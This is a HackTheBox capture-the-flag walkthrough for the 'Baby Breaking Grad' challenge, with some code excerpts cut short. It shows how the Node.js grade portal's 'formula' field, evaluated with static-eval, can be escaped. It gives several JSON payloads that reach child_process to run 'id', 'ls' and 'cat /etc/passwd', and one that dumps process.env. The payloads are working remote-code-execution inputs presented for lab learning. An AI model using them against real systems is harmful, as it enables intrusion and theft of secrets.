HackTheBox_-_Baby_Breaking_Grad_(Challenge)
HackTheBox_-_Baby_Breaking_Grad_(Challenge)
Grad (Challenge)
We corrected the math in our physics teacher's paper and now
he is failing us out of spite for making a fool out of him in the
university's research symposium, now we can't graduate,
unless we can do something about it...
Challenge Walkthrough
To begin the challenge we download the zip file provided by HTB and begin to
analyse the source code of the application. We begin by analysing the
routes/index.js file provided.
module.exports = router;
Analysing the code we can see that in the formula there is a opportunity to
perform prototype polution taking advantage of the student.formula object which
contains assignment, exam and paper objects.. Moving on to the helpers/StudentHelper.js
we can see that a NodeJS module has been imported that evaluates the formula
with exam, paper and assignment which has been passed through the StudentHelper.js
file in the hasPassed(student, formula) statement.
module.exports = {
isDumb(name){
return (name.includes('Baker') || name.includes('Purvis'));
},
Pay close attention to the static-eval . Searching through the maintainer's GitHub
browserify/static-eval
evaluate statically-analyzable expressions. Contribute to
browserify/static-eval development by creating an account on
GitHub.
https://github.com/browserify/static-eval/blob/master/test/
eval.js
We can leverage this in an attack against the target server through the formula
array. Visiting the site on our local instance we see a WELCOME TO THE GRADE PORTAL
landing page which allows us to select the student name and check if we passed.
We fire up BurpSuite and send the payload below and check out logs.
{"name":"test","exam":"0","paper":"0","assignment":"1","formula":"(function myTag(y){retur
n ''[!y?'__proto__':'constructor'][y]})('constructor')('console.log(process.env)')()"}
We can see that it didn't show any responses but... If we check the running
nodemon instance we see something interesting.
serverwhich means we have successfully polluted the application, but how can we
achieve some form of code execution from this instead of printing the
environmental variables?
{"name":"test","exam":"0","paper":"0","assignment":"1","formula":"(function myTag(y){retur
n ''[!y?'__proto__':'constructor'][y]})('constructor')('console.log(global.process.mainMod
ule.constructor._load(\"child_process\").execSync(\"id\").toString())')()"}
{"name":"test","exam":"0","paper":"0","assignment":"1","formula":"(function myTag(y){retur
n ''[!y?'__proto__':'constructor'][y]})('constructor')('throw new Error(global.process.mai
nModule.constructor._load(\"child_process\").execSync(\"cat /etc/passwd\").toString())')
()"}
{"name":"test","exam":"0","paper":"0","assignment":"1","formula":"(function myTag(y){retur
n ''[!y?'__proto__':'constructor'][y]})('constructor')('throw new Error(global.process.mai
nModule.constructor._load(\"child_process\").execSync(\"ls\").toString())')()"}